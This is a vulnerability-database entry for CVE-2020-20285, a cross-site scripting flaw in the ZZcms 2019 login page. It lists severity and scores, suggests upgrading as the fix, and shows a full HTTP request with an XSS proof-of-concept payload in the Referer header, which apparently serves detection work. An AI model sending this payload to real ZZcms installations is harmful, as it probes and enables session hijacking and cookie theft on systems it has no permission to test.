🔙 목록으로 돌아가기

CVE-2020-20285: ZZcms - Cross-Site Scripting

TitleZZcms - Cross-Site Scripting
Authoredoardottt
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
RemediationUpgrade to the latest version to mitigate this vulnerability.
CVSS Score5.4
EPSS Score0.06066
CVE IDCVE-2020-20285
CWE IDCWE-79
Fofa Queryzzcms
Tags cve2020 cve zzcms xss vuln

🔍 Vulnerability Description

ZZcms 2019 contains a cross-site scripting vulnerability in the user login page. An attacker can inject arbitrary JavaScript code in the referer header via user/login.php, which can allow theft of cookie-based credentials and launch of subsequent attacks.

🌐 HTTP Request

GET /user/login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (SS; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Connection: close
Referer: xss"/><img src="#" onerror="alert(document.domain)"/>
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-20285.yaml

🦈 Packet Capture: ⬇️ Download cve-2020-20285.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A